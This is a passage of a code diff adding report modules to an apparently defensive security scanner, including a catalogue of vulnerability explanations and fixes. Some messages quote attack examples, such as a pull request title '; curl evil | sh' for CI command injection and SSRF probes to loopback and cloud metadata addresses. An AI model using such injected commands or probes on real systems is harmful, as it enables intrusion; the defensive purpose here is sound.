hullproof 0.0.0-stage → 0.5.0

package/src/report/entry-points.ts

@@ -0,0 +1,78 @@
+// The "Entry points and what protects them" section of report.md, built from codemap.json. Same map, same bytes.
+import type { CodeMap, EntryPoint, Protection, ProtectionKind } from '../types/index.ts';
+import { cmp } from '../util.ts';
+
+export const MAX_TABLE_ROWS = 300;
+const cell = (s: string): string => s.replace(/\|/g, '\\|').replace(/\n/g, ' ');
+
+const real = (ep: EntryPoint, kind: ProtectionKind): Protection[] => ep.protections.filter((p) => p.kind === kind);
+// One cell for one protection kind: yes with its confidence, ignored (the code checks and carries on), weak, no.
+export function protectionCell(ep: EntryPoint, kind: ProtectionKind): string {
+  const ps = real(ep, kind);
+  const good = ps.filter((p) => p.confidence !== 'low' && p.enforced !== false);
+  if (good.length) {
+    const best = good.some((p) => p.confidence === 'high') ? 'high' : 'medium';
+    return `yes (${best})`;
+  }
+  if (ps.some((p) => p.enforced === false)) return 'ignored';
+  if (ps.length) return 'weak';
+  return 'no';
+}
+
+function rowFor(ep: EntryPoint): string[] {
+  const state = ep.tags.includes('state_changing');
+  const admin = ep.tags.includes('admin');
+  const byId = ep.data.filter((d) => d.by_id);
+  const owner = !byId.length ? '-' : byId.every((d) => d.owner_scoped) ? 'yes' : 'no';
+  const isWebhook = ep.kind === 'webhook';
+  const readsBody = ep.reads.some((r) => r.source === 'body' || r.source === 'form');
+  const session = ep.kind === 'ai_tool' || ep.kind === 'job' || ep.kind === 'page' || isWebhook ? '-' : protectionCell(ep, 'session_read');
+  return [
+    session,
+    admin ? protectionCell(ep, 'role_check') : '-',
+    owner,
+    isWebhook ? protectionCell(ep, 'signature_verify') : '-',
+    ep.tags.includes('auth_endpoint') && state ? protectionCell(ep, 'rate_limit') : '-',
+    state && readsBody ? protectionCell(ep, 'input_validation') : '-',
+  ];
+}
+
+const label = (ep: EntryPoint): string => `${ep.method && ep.method !== 'ANY' ? ep.method + ' ' : ''}${ep.path ?? ep.name ?? ep.file}`.trim();
+
+export function renderEntryPoints(map: CodeMap): string[] {
+  const out: string[] = [];
+  const p = (...l: string[]): void => { out.push(...l); };
+  const eps = map.entry_points;
+  const shipped = eps.filter((e) => !e.test_code);
+  p('## Entry points and what protects them', '');
+  p('The code map lists every entry point the engine could find by reading the code: HTTP routes, webhooks, server actions, jobs, AI tools and similar. It comes from pattern reading, not from running the app, so each cell below is a place to look and not a proof. "yes" means the engine found that protection on the entry point, with the confidence of the match. "ignored" means the code checks and then carries on. "weak" means only a sign such as a cookie being present. "-" means the column does not apply.', '');
+  p('| Language | Files | Status | Entry points | Note |', '|---|---|---|---|---|');
+  if (map.coverage.length === 0) p('| none | 0 | | 0 | No source language was found. |');
+  for (const c of map.coverage) p(`| ${c.language} | ${c.files} | ${c.status === 'mapped' ? 'mapped' : c.status === 'partial' ? 'partly mapped' : 'not mapped'} | ${c.entry_points} | ${cell(c.note)} |`);
+  p('');
+  const incomplete = map.coverage.filter((c) => c.status !== 'mapped');
+  if (incomplete.length) p(`The code map is incomplete for ${incomplete.map((c) => c.language).join(', ')}. Entry points in those files are not listed, and the checks that read the map did not look at them.`, '');
+
+  const kinds = Object.entries(map.counts.by_kind).map(([k, n]) => `${n} ${k.replace(/_/g, ' ')}`).join(', ');
+  const state = shipped.filter((e) => e.tags.includes('state_changing') && ['http_route', 'server_action', 'graphql_resolver', 'rpc'].includes(e.kind));
+  const noSession = state.filter((e) => !e.tags.includes('auth_endpoint') && !e.tags.includes('public') && protectionCell(e, 'session_read') !== 'yes (high)' && protectionCell(e, 'session_read') !== 'yes (medium)');
+  const admins = shipped.filter((e) => e.tags.includes('admin') && ['http_route', 'server_action', 'graphql_resolver', 'rpc'].includes(e.kind));
+  const noRole = admins.filter((e) => !protectionCell(e, 'role_check').startsWith('yes'));
+  const hooks = shipped.filter((e) => e.kind === 'webhook');
+  const badHooks = hooks.filter((e) => !protectionCell(e, 'signature_verify').startsWith('yes'));
+  p(`1. Entry points: ${map.counts.entry_points}${kinds ? ` (${kinds})` : ''}. In test code and left out of the checks: ${eps.length - shipped.length}.`);
+  p(`2. State changing entry points: ${state.length}. Without a session read the engine can see: ${noSession.length}.`);
+  p(`3. Entry points in an admin area: ${admins.length}. Without a role check the engine can see: ${noRole.length}.`);
+  p(`4. Webhooks: ${hooks.length}. Without a signature check that stops the request: ${badHooks.length}.`);
+  p('5. Gates (middleware, guards, router dependencies): ' + map.gates.length + '.', '');
+
+  p('| Entry point | Kind | Where | Session | Role | Owner | Signature | Rate limit | Schema |', '|---|---|---|---|---|---|---|---|---|');
+  const rows = eps.slice().sort((a, b) => cmp(a.file, b.file) || a.line - b.line || cmp(a.id, b.id)).slice(0, MAX_TABLE_ROWS);
+  for (const ep of rows) {
+    const r = rowFor(ep);
+    p(`| ${cell(label(ep))}${ep.test_code ? ' (test code)' : ''} | ${ep.kind.replace(/_/g, ' ')} | \`${ep.file}:${ep.line}\` | ${r.join(' | ')} |`);
+  }
+  if (eps.length > rows.length) p('', `${eps.length - rows.length} more entry points are in codemap.json.`);
+  p('');
+  return out;
+}

package/src/report/hunt-section.ts

@@ -0,0 +1,67 @@
+// The hunt part of report.md: confirmed findings with their evidence, leads, incomplete hunts and the hallucination count.
+// Built from the hunt files only. Same files, same bytes.
+import type { HuntResult, HuntSynthesis, LeadOut } from '../types/index.ts';
+import type { Merged } from '../confirm/merge.ts';
+import { readableKey } from '../confirm/agreement.ts';
+import { cmp } from '../util.ts';
+
+export interface HuntFiles { result: HuntResult | null; synthesis: HuntSynthesis | null; skipped: string | null }
+const loc = (e: { file: string; line: number }): string => `\`${e.file}:${e.line}\``;
+const METHOD: Record<string, string> = { map_query: 'a query over the code map', semgrep_rule: 'a generated Semgrep rule and a negative control', sandbox_test: 'a test run in a local sandbox, 3 of 3 runs' };
+
+export function renderHunt(h: HuntFiles, merged: Merged | null): string[] {
+  const out: string[] = [];
+  const p = (...l: string[]): void => { out.push(...l); };
+  if (!h.result) {
+    if (h.skipped) p('## Hunt', '', `Hunt: not run, ${h.skipped}.`, '');
+    return out;
+  }
+  const r = h.result;
+  const syn = new Map((h.synthesis?.explanations ?? []).map((e) => [e.key, e.text]));
+  const gateSet = new Set((merged?.inGate ?? []).map((c) => c.key));
+  const provenSet = new Set((merged?.proven ?? []).map((c) => c.key));
+  p('## Hunt: leads and confirmed findings', '');
+  p('A model proposed these and the engine checked them. Only a lead that the engine confirmed with evidence a machine can re run is a finding. Every other lead is listed for a person to read and can never hold or release the gate. The number of runs that raised a lead only orders the list.', '');
+  p(`1. Runs: ${r.runs}. Entry points hunted: ${r.entries_hunted}. Calls: ${r.calls.complete} complete, ${r.calls.incomplete} incomplete, ${r.calls.missing} never saved.`);
+  p(`2. Confirmed findings: ${r.confirmed.length}. Leads not confirmed: ${r.leads.length}.`);
+  p(`3. Hallucinations (leads that cited code that is not there, dropped): ${r.hallucinations.count}. Malformed leads (dropped): ${r.malformed.count}.`);
+  p(`4. Tokens used, reported and not limited: ${r.usage.input_tokens} in, ${r.usage.output_tokens} out, over ${r.usage.calls} calls.`, '');
+  if (h.synthesis) {
+    p('### Summary of all runs', '');
+    p(h.synthesis.status === 'complete' ? (h.synthesis.summary || 'The synthesis step returned no summary.') : `The synthesis step did not finish (${h.synthesis.stop ?? 'stopped'}). It only explains, so no finding is affected.`, '');
+  }
+  const conf = (c: LeadOut, i: number): void => {
+    const e = c.confirmation;
+    p(`#### H-${i + 1} ${c.claim}${c.claim_truncated ? ' (claim shortened to the limit)' : ''}`, '');
+    p(`Where: ${c.path.map(loc).join(' to ')}. Requirements: ${c.requirement_ids.join(', ') || 'none named'}. Raised in ${c.runs_raised} of ${r.runs} runs.`);
+    if (e.status === 'confirmed') p(`Evidence: confirmed by ${METHOD[e.method]} (${e.tool} ${e.tool_version}, ${e.rule_id}). ${e.detail}.`);
+    if (provenSet.has(c.key)) p('Proven by a test in the sandbox: yes, see the proof sandbox section.');
+    p(gateSet.has(c.key) ? 'Counts in the gate: yes, as a fail record with machine evidence.' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).');
+    if (syn.has(c.key)) p(`Explanation: ${syn.get(c.key)}`);
+    p('');
+  };
+  if (r.confirmed.length) { p('### Confirmed findings', ''); r.confirmed.forEach(conf); }
+  if (r.leads.length) {
+    p('### Leads (not confirmed, never in the gate)', '');
+    p('| Raised in | Where | Requirements | Claim | Why not confirmed |', '|---|---|---|---|---|');
+    for (const l of r.leads) {
+      const why = provenSet.has(l.key) ? 'proven by a test in the sandbox, see the proof sandbox section' : l.confirmation.status === 'confirmed' ? '' : l.confirmation.detail;
+      p(`| ${l.runs_raised} of ${r.runs} runs | ${loc(l.sink)} | ${l.requirement_ids.join(', ') || 'none named'} | ${l.claim_truncated ? '(claim shortened) ' : ''}${l.claim.replace(/\|/g, '\\|')}${syn.has(l.key) ? ' Explanation: ' + syn.get(l.key)!.replace(/\|/g, '\\|') : ''} | ${why.replace(/\|/g, '\\|')} |`);
+    }
+    p('');
+  }
+  if (r.incomplete.length) {
+    p('### Incomplete hunts', '', 'These calls did not finish. A provider stop (a refusal, a safety stop, a rate limit, a timeout) is recorded and never retried around, so the entry point below was not fully hunted in that run.', '');
+    p('| Run | Entry point | Why |', '|---|---|---|');
+    for (const i of r.incomplete.slice().sort((a, b) => a.run - b.run || cmp(a.entry_id, b.entry_id))) p(`| ${i.run} | ${i.entry_id.replace(/\|/g, '\\|')} | ${i.stop}${i.detail ? ': ' + i.detail.replace(/\|/g, '\\|') : ''} |`);
+    p('');
+  }
+  if (r.hallucinations.count) {
+    p('### Dropped as hallucinations', '');
+    for (const x of r.hallucinations.items.slice(0, 30)) p(`- Run ${x.run}, ${readableKey(x.entry_id)}: ${x.reason}.`);
+    if (r.hallucinations.count > 30) p(`- and ${r.hallucinations.count - 30} more (all are in hunt/result.json).`);
+    p('');
+  }
+  if (merged?.outOfScope.length) p(`${merged.outOfScope.length} confirmed finding(s) name no requirement in this run's scope, so they are shown above and are not in the gate.`, '');
+  return out;
+}

package/src/report/kit.ts

@@ -0,0 +1,59 @@
+// Finds the Hullproof kit (docs/hullproof and tools/hullproof) and reads the controls file, the source of truth for
+// severity, authority, edition and stage. The engine never copies severities into its own code.
+import { createHash } from 'node:crypto';
+import { existsSync, readFileSync } from 'node:fs';
+import { join, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import type { Severity } from '../types/index.ts';
+
+export const CONTROLS_REL = 'docs/hullproof/security-controls.json';
+export const GATE_REL = 'tools/hullproof/ci/hullproof-gate.mjs';
+export const VALIDATOR_REL = 'tools/hullproof/ci/validate-findings.mjs';
+// The Hullproof Free kit in a folder called hullproof-free next to this repository, used when nothing else names a kit
+// (same default as src/mapping).
+const SIBLING_KIT = fileURLToPath(new URL('../../../hullproof-free/kit/', import.meta.url));
+
+export interface Control {
+  id: string; title: string; severity: Severity; authority: 'repo' | 'dashboard' | 'runtime'; edition: 'free' | 'pro';
+  stage: 'LAUNCH' | 'GROWTH' | 'SCALE'; prelaunch: boolean; status: string; domains: string[]; verification_method: string[];
+}
+
+export interface Kit { dir: string; controls: Control[]; byId: Map<string, Control>; controlsSha256: string; standardVersion: string }
+
+// Order: --kit, HULLPROOF_KIT, the scanned repository when the kit is installed in it, then the kit next to this repository.
+export function resolveKitDir(repo: string, flag: string | null): string | null {
+  const tries = [flag, process.env.HULLPROOF_KIT ?? null, repo, SIBLING_KIT].filter((x): x is string => !!x).map((d) => resolve(d));
+  return tries.find((d) => existsSync(join(d, CONTROLS_REL))) ?? null;
+}
+
+export function loadKit(dir: string): Kit {
+  const raw = readFileSync(join(dir, CONTROLS_REL));
+  const doc = JSON.parse(raw.toString('utf8')) as { standard_version?: string; controls: Control[] };
+  const controls = doc.controls.filter((c) => c.status === 'active' || c.status === undefined);
+  return {
+    dir, controls, byId: new Map(controls.map((c) => [c.id, c])),
+    controlsSha256: createHash('sha256').update(raw).digest('hex'), standardVersion: String(doc.standard_version ?? 'unknown'),
+  };
+}
+
+export const STAGES = ['LAUNCH', 'GROWTH', 'SCALE'] as const;
+export type Stage = typeof STAGES[number];
+export type Edition = 'free' | 'pro';
+
+export interface Scope { edition: Edition; stage: Stage; stageSource: 'flag' | 'STAGE.md' | 'default' }
+
+// A requirement is in scope when its edition is in the run's edition and its stage is at or below the declared stage.
+export function inScope(c: Control, s: Scope): boolean {
+  return (s.edition === 'pro' || c.edition === 'free') && STAGES.indexOf(c.stage) <= STAGES.indexOf(s.stage);
+}
+
+// The stage from docs/security/STAGE.md ("Stage: GROWTH" or a heading or table cell naming one stage), else LAUNCH.
+export function readStage(repo: string): { stage: Stage; source: 'STAGE.md' | 'default' } {
+  const p = join(repo, 'docs/security/STAGE.md');
+  if (!existsSync(p)) return { stage: 'LAUNCH', source: 'default' };
+  const m = /\b(?:stage|declared stage)\b[^\n]{0,20}?\b(LAUNCH|GROWTH|SCALE)\b/i.exec(readFileSync(p, 'utf8'));
+  return m ? { stage: m[1].toUpperCase() as Stage, source: 'STAGE.md' } : { stage: 'LAUNCH', source: 'default' };
+}
+
+export const SEV_RANK: Record<Severity, number> = { BLOCKER: 5, CRITICAL: 4, HIGH: 3, MEDIUM: 2, LOW: 1 };
+export const highest = (sevs: Severity[]): Severity => sevs.reduce((a, b) => (SEV_RANK[b] > SEV_RANK[a] ? b : a), sevs[0]);

package/src/report/load.ts

@@ -0,0 +1,49 @@
+// Reads a scan folder (<out>/<commit>/) back. The report and the gate read only these files, never the source.
+import { existsSync, readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+import { cmp } from '../util.ts';
+import type { CheckResultsFile, CodeMap, FindingsFile, ResultRow, Stack, ToolMeta } from '../types/index.ts';
+import type { ScanInfo } from '../commands/scan.ts';
+import type { SurfaceFile } from './surface.ts';
+import { huntDir, readResult, readSkipped, readSynthesis } from '../confirm/store.ts';
+import type { HuntFiles } from './hunt-section.ts';
+import type { ProveFiles } from './prove-section.ts';
+import { loadProveFiles } from './prove-section.ts';
+
+export interface ScanFolder {
+  dir: string; info: ScanInfo; stack: Stack; checks: CheckResultsFile; results: ResultRow[];
+  findingsText: string; findings: FindingsFile; metas: ToolMeta[]; surface: SurfaceFile;
+  codemap: CodeMap | null;               // null for a scan folder written before the code map existed
+  hunt: HuntFiles;                       // the hunt files, when `hullproof hunt` ran for this commit
+  prove?: ProveFiles;                    // the proof sandbox files, when `hullproof prove` ran for this commit
+  reasons: Record<string, string | null>; // tool -> plain English reason it did not run, from scan/<tool>.detail.json
+}
+
+const json = <T>(p: string): T => JSON.parse(readFileSync(p, 'utf8')) as T;
+
+export function loadScan(dir: string): ScanFolder {
+  for (const f of ['scan.json', 'stack.json', 'checks.json', 'results.json', 'report.findings.md', 'surface.json']) {
+    if (!existsSync(join(dir, f))) throw new Error(`${join(dir, f)} is missing. Run hullproof scan first.`);
+  }
+  const findingsText = readFileSync(join(dir, 'report.findings.md'), 'utf8');
+  const block = /```hullproof-findings\n([\s\S]*?)\n```/.exec(findingsText);
+  if (!block) throw new Error('report.findings.md holds no hullproof-findings block');
+  const scanDir = join(dir, 'scan');
+  const metas = existsSync(scanDir)
+    ? readdirSync(scanDir).filter((n) => n.endsWith('.meta.json')).sort(cmp).map((n) => json<ToolMeta>(join(scanDir, n)))
+    : [];
+  const reasons: Record<string, string | null> = {};
+  for (const m of metas) {
+    const p = join(scanDir, `${m.tool}.detail.json`);
+    reasons[m.tool] = existsSync(p) ? json<{ not_run_reason: string | null }>(p).not_run_reason : null;
+  }
+  const hd = huntDir(dir);
+  return {
+    hunt: { result: readResult(hd), synthesis: readSynthesis(hd), skipped: readSkipped(hd) },
+    prove: loadProveFiles(dir),
+    reasons, dir, info: json(join(dir, 'scan.json')), stack: json(join(dir, 'stack.json')), checks: json(join(dir, 'checks.json')),
+    results: json(join(dir, 'results.json')), findingsText, findings: JSON.parse(block[1]) as FindingsFile, metas,
+    surface: json(join(dir, 'surface.json')),
+    codemap: existsSync(join(dir, 'codemap.json')) ? json<CodeMap>(join(dir, 'codemap.json')) : null,
+  };
+}

package/src/report/messages.ts

@@ -0,0 +1,270 @@
+// Plain English text for every check and for scanner rules: what is wrong, what it lets someone do, how to fix it, and
+// how to confirm the fix. Written for people who build with AI tools. The report never shows a tool's own message text.
+import { readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+
+export interface Message { title: string; impact: string; fix: string; confirm: string; root: string }
+
+const CHECKS: Record<string, Message> = {
+  'check.api.webhook-verified-before-use': {
+    title: 'Webhook is used even when its signature check fails',
+    root: 'webhook: signature result does not stop the request',
+    impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
+    fix: 'Check the provider signature on the raw request body first. If the check fails, return an error (400 or 401) straight away, before parsing or using the event. Never only log the failure.',
+    confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
+  },
+  'check.authz.owner-filter-on-id-read': {
+    title: 'Record is read by id with no check that the caller owns it',
+    root: 'authorization: read by id without an owner filter',
+    impact: 'A signed in user can change the id in the request and read another user\'s record.',
+    fix: 'Add the owner to the query, for example WHERE id = ? AND owner_id = ? with the signed in user\'s id from the session, or check the owner before returning the row.',
+    confirm: 'Request another user\'s record id while signed in as a different user and confirm you get 404, then rerun hullproof scan.',
+  },
+  'check.ai.tool-owner-filter': {
+    title: 'AI tool reads a record by id with no owner check',
+    root: 'ai tool: read by id without an owner filter',
+    impact: 'Text in a prompt can make the model ask the tool for any record id, so one user can read another user\'s data through the assistant.',
+    fix: 'Pass the signed in user to every tool and filter each read by that user (WHERE id = ? AND owner_id = ?). Never let the model choose whose data is read.',
+    confirm: 'Ask the assistant to read a record that belongs to another user and confirm it refuses, then rerun hullproof scan.',
+  },
+  'check.authz.admin-role-check': {
+    title: 'Admin route lets in any signed in user',
+    root: 'authorization: admin handler without a role check',
+    impact: 'Any user with an account can call the admin route and do what only an admin should, such as changing roles or deleting users.',
+    fix: 'In the server handler itself, load the user from the session and return 403 unless their role is admin. A check in the browser or a cookie check in middleware does not protect the route.',
+    confirm: 'Call the admin route as a normal user and confirm it returns 403, then rerun hullproof scan.',
+  },
+  'check.db.rls-every-table': {
+    title: 'Database table has no row level security',
+    root: 'database: table without row level security',
+    impact: 'With the public anon key that ships in every browser, anyone can read (and with grants, change) every row of this table through the Supabase Data API.',
+    fix: 'Add a migration with alter table <name> enable row level security, then add policies that let each user reach only their own rows. Remove grants to anon that the app does not need.',
+    confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
+  },
+  'check.db.firebase-rules-not-open': {
+    title: 'Firebase database rules let anyone read or write',
+    root: 'database: open Firebase rules',
+    impact: 'Anyone with the app\'s public config can read or overwrite the whole database.',
+    fix: 'Replace allow rules that are always true (or that expire by date) with rules that check request.auth and the owner of each document.',
+    confirm: 'Run the Firebase rules emulator tests for an unauthenticated and a different user, then rerun hullproof scan.',
+  },
+  'check.storage.firebase-rules-not-open': {
+    title: 'Firebase Storage rules let anyone read or write files',
+    root: 'storage: open Firebase rules',
+    impact: 'Anyone with the app\'s public config can download or replace every stored file.',
+    fix: 'Limit each path to its owner, for example allow read, write: if request.auth.uid == uid on /users/{uid}/.',
+    confirm: 'Try to fetch another user\'s file without signing in and confirm it is refused, then rerun hullproof scan.',
+  },
+  'check.secrets.no-secret-in-public-env': {
+    title: 'Secret key is named with a public prefix and ends up in the browser',
+    root: 'secrets: secret under a public env prefix',
+    impact: 'Variables with prefixes such as NEXT_PUBLIC_, VITE_ or EXPO_PUBLIC_ are copied into the code every visitor downloads. A service role key there gives anyone full database access.',
+    fix: 'Rename the variable without the public prefix, read it only in server code, and rotate the key in the provider dashboard because it may already be public.',
+    confirm: 'Build the app and search the built files for the key name and value; neither should appear. Then rerun hullproof scan.',
+  },
+  'check.secrets.no-env-file-committed': {
+    title: 'Environment file is committed to the repository',
+    root: 'secrets: env file in git',
+    impact: 'Anyone who can read the code, or its history, can read the values in the file.',
+    fix: 'Remove the file from git, add it to .gitignore, keep only a .env.example with empty values, and rotate every real value it held.',
+    confirm: 'git ls-files shows no .env file, then rerun hullproof scan.',
+  },
+  'check.web.cors-no-reflected-origin': {
+    title: 'CORS allows whatever site asks',
+    root: 'cors: request origin reflected',
+    impact: 'Any website a signed in user visits can call your API with their cookies and read the answers.',
+    fix: 'Compare the Origin header to an exact list of your own domains and only then send it back. Never copy the header as it is, and never pair a wildcard with credentials.',
+    confirm: 'Send a request with Origin: https://evil.example and confirm no Access-Control-Allow-Origin comes back, then rerun hullproof scan.',
+  },
+  'check.log.no-credential-in-logs': {
+    title: 'Session token or password is written to the logs',
+    root: 'logging: credential in a log line',
+    impact: 'Anyone who can read the logs (staff, a log vendor, a leaked log export) can take over the user\'s session.',
+    fix: 'Remove the token, password or key from the log call. Log a user id or a short reference instead.',
+    confirm: 'Sign in and read the server log; no token should appear. Then rerun hullproof scan.',
+  },
+  'check.supply.no-untrusted-event-in-run': {
+    title: 'CI script expands text that outsiders control',
+    root: 'supply: untrusted event data in a run step',
+    impact: 'A pull request title like "; curl evil | sh" runs as a command in CI with the job\'s token and secrets.',
+    fix: 'Pass the value through env: (for example TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" in the script.',
+    confirm: 'No run: line holds ${{ github.event... }}, then rerun hullproof scan.',
+  },
+  'check.map.mutating-route-without-auth': {
+    title: 'Route that changes data has no sign in check',
+    root: 'authentication: state changing entry point without a session read',
+    impact: 'Anyone who can reach the address can call it without signing in and change data, such as creating, editing or deleting records.',
+    fix: 'At the top of the handler, read the signed in user from the session and return 401 when there is none. Do the same for every route that changes data, unless it is a sign in route or a webhook that checks a signature.',
+    confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
+  },
+  'check.map.data-read-without-auth': {
+    title: 'Route returns stored data to callers who are not signed in',
+    root: 'authentication: data read without a session read',
+    impact: 'Anyone can request the address and read data such as users, orders, notes or files, including other people\'s personal data.',
+    fix: 'Read the signed in user from the session first and return 401 when there is none. Then limit the query to the records that user may see.',
+    confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
+  },
+  'check.map.write-by-id-without-owner': {
+    title: 'Update or delete by id does not check who owns the record',
+    root: 'authorization: write by id without an owner value from the session',
+    impact: 'A signed in user can send another user\'s record id and change or delete that record.',
+    fix: 'Add the owner to the query with the signed in user\'s id from the session, for example WHERE id = ? AND owner_id = ?, and treat zero changed rows as not found.',
+    confirm: 'Send another user\'s record id while signed in as a different user and confirm nothing changes, then rerun hullproof scan.',
+  },
+  'check.map.admin-route-without-role': {
+    title: 'Admin route has no server side role check',
+    root: 'authorization: admin entry point without a role check',
+    impact: 'Any user with an account, or a visitor, can call the admin route and do what only an admin should do.',
+    fix: 'In the server handler itself, load the user and return 403 unless their role is admin. A check in the browser, or a cookie check in middleware, does not protect the route.',
+    confirm: 'Call the route as a normal user and confirm it returns 403, then rerun hullproof scan.',
+  },
+  'check.map.webhook-verify-before-use': {
+    title: 'Webhook does not reliably check who sent it before using the event',
+    root: 'webhook: no signature check, one that does not stop the request, or a body parsed first',
+    impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
+    fix: 'Read the raw request body, check the provider signature on it, and return 400 or 401 straight away when the check fails. Parse and use the event only after the check passes.',
+    confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
+  },
+  'check.map.request-url-fetched': {
+    title: 'Server fetches an address that the request supplies',
+    root: 'ssrf: outbound request to a request supplied address',
+    impact: 'An attacker can make the server call internal services or cloud metadata addresses and read the answers.',
+    fix: 'Allow only known hosts: parse the URL, compare its host with a short allowlist, refuse private and loopback addresses, and do not follow redirects without checking the new address.',
+    confirm: 'Submit http://127.0.0.1 and a cloud metadata address and confirm both are refused, then rerun hullproof scan.',
+  },
+  'check.map.privileged-field-from-request': {
+    title: 'Request data can set a role, plan or similar privileged field',
+    root: 'authorization: privileged field written from request data',
+    impact: 'A user can send their own role, plan or balance in the request and give themselves admin rights or paid features.',
+    fix: 'Write only an explicit list of fields the user may change, never the whole request object, and set role, plan and similar fields only from server side code that has checked permission.',
+    confirm: 'Send the route a request that includes role: admin and confirm the role does not change, then rerun hullproof scan.',
+  },
+  'check.map.privileged-action-without-audit': {
+    title: 'Admin action changes data and writes no audit record',
+    root: 'logging: privileged action without an audit record',
+    impact: 'When an admin account is misused, or an admin makes a mistake, there is no record of who changed what and when.',
+    fix: 'Write an audit record in the same handler for every role change, delete and other admin write: who, what, which record and when, stored where the app cannot edit it afterwards.',
+    confirm: 'Make an admin change and confirm one audit record appears, then rerun hullproof scan.',
+  },
+  'check.map.redirect-from-request': {
+    title: 'Redirect target comes from the request without a check',
+    root: 'redirect: target taken from the request',
+    impact: 'An attacker can send a link on your domain that lands a signed in user on a fake page, which is a common step in phishing.',
+    fix: 'Accept only relative paths that start with a single slash, or compare the full address with an allowlist, and fall back to a fixed page otherwise.',
+    confirm: 'Pass https://example.org as the redirect value and confirm the app ignores it, then rerun hullproof scan.',
+  },
+  'check.map.mobile-secret-in-config': {
+    title: 'Secret written into a mobile configuration file',
+    root: 'mobile: a secret value sits in a file that ships inside the app',
+    impact: 'Anyone can unpack the app and read the file. A secret in it is public from the day the app is released.',
+    fix: 'Remove the value from the file. Keep the secret on your server and have the app ask the server, or fetch a short lived token at run time, then rotate the value that was shipped.',
+    confirm: 'Unpack the built app, search for the name, and confirm no value is stored, then rerun hullproof scan.',
+  },
+  'check.map.read-by-id-without-owner': {
+    title: 'A signed in user can read another user\'s record by id',
+    root: 'authorization: record read by an id from the request with no owner condition',
+    impact: 'Any signed in user can change the id in the request and read records that belong to other users.',
+    fix: 'Add the owner to the query (where id equals the request id and owner equals the signed in user) or check ownership after the read and answer not found when it does not match.',
+    confirm: 'Sign in as user A, request a record that belongs to user B by its id, confirm you get not found, then rerun hullproof scan.',
+  },
+  'check.map.supabase-open-table': {
+    title: 'Table is open to the public key through a grant or an always true policy',
+    root: 'database: table readable or writable without signing in',
+    impact: 'With the public anon key that ships in every browser, anyone can read or change the rows through the Supabase Data API.',
+    fix: 'Revoke the grants the anon role does not need, enable row level security, and replace always true policies with policies that tie each row to its owner.',
+    confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
+  },
+  'check.map.supabase-privileged-column-grant': {
+    title: 'Signed in users can update role, plan or similar columns directly',
+    root: 'database: client role can write a privileged column',
+    impact: 'Any signed in user can call the Data API and set their own role or plan, which grants admin rights or paid features.',
+    fix: 'Replace the whole table update grant with a grant that lists only the columns users may change, and move role and plan changes into server side code.',
+    confirm: 'As a normal user, update your own role through the Data API and confirm it is refused, then rerun hullproof scan.',
+  },
+  'check.map.supabase-policy-trusts-claims': {
+    title: 'Policy trusts a value the user can edit',
+    root: 'database: policy reads user_metadata',
+    impact: 'Users can change their own user_metadata, so a policy that trusts it can be passed by anyone who edits it.',
+    fix: 'Base policies on the user id and on app_metadata or a roles table that only server code can write.',
+    confirm: 'Change user_metadata on a test account and confirm access does not change, then rerun hullproof scan.',
+  },
+  'check.map.firebase-auth-only-rule': {
+    title: 'Firebase rule lets any signed in user reach another user\'s data',
+    root: 'database: rule checks sign in but not ownership',
+    impact: 'Any signed in user can read or change the data stored under another user\'s id.',
+    fix: 'Compare the id in the path with the caller, for example request.auth.uid == userId, for every path that holds one user\'s data.',
+    confirm: 'Run the rules emulator tests with a second signed in user and confirm access is refused, then rerun hullproof scan.',
+  },
+};
+
+export function checkMessage(id: string): Message {
+  return CHECKS[id] ?? { title: `Check ${id} failed`, root: `check ${id}`, impact: 'See the check definition.', fix: 'See the check definition.', confirm: 'Rerun hullproof scan.' };
+}
+
+export const checkIds = (): string[] => Object.keys(CHECKS);
+
+// Scanner rules: the first sentence of the rule's own message is the title, the rest is the fix. Semgrep rule files are
+// read from the engine's rules folder and the rule pack; Gitleaks, OSV Scanner and Trivy get a fixed text per tool.
+const ruleCache = new Map<string, Map<string, string>>();
+function semgrepMessages(rulesDir: string): Map<string, string> {
+  let m = ruleCache.get(rulesDir);
+  if (m) return m;
+  m = new Map();
+  let names: string[] = [];
+  try { names = readdirSync(rulesDir).filter((n) => /\.ya?ml$/.test(n)).sort(); } catch { /* no rules folder */ }
+  for (const n of names) {
+    const lines = readFileSync(join(rulesDir, n), 'utf8').split('\n');
+    let id: string | null = null;
+    for (let i = 0; i < lines.length; i++) {
+      const idm = /^\s*-\s*id:\s*["']?([\w.-]+)/.exec(lines[i]);
+      if (idm) { id = idm[1]; continue; }
+      const mm = /^(\s*)message:\s*(.*)$/.exec(lines[i]);
+      if (!mm || !id) continue;
+      let text = mm[2].trim();
+      if (/^[>|]-?$/.test(text)) {
+        const body: string[] = [];
+        for (let k = i + 1; k < lines.length && (lines[k].trim() === '' || /^\s*/.exec(lines[k])![0].length > mm[1].length); k++) body.push(lines[k].trim());
+        text = body.join(' ').trim();
+      }
+      m.set(id, text.replace(/^["']|["']$/g, ''));
+      id = null;
+    }
+  }
+  ruleCache.set(rulesDir, m);
+  return m;
+}
+
+const firstSentence = (s: string): [string, string] => {
+  const at = s.search(/\.\s/);
+  return at < 0 ? [s.replace(/\.$/, ''), ''] : [s.slice(0, at), s.slice(at + 1).trim()];
+};
+
+export function ruleMessage(tool: string, ruleId: string, rulesDirs: string[]): Message {
+  if (tool === 'semgrep') {
+    // A later folder (the rule pack) wins over an earlier one for the same rule id.
+    const text = rulesDirs.map((d) => semgrepMessages(d).get(ruleId)).filter(Boolean).pop();
+    if (text) {
+      const [title, rest] = firstSentence(text);
+      return { title, root: `rule ${ruleId}`, impact: title + '.', fix: rest || 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
+    }
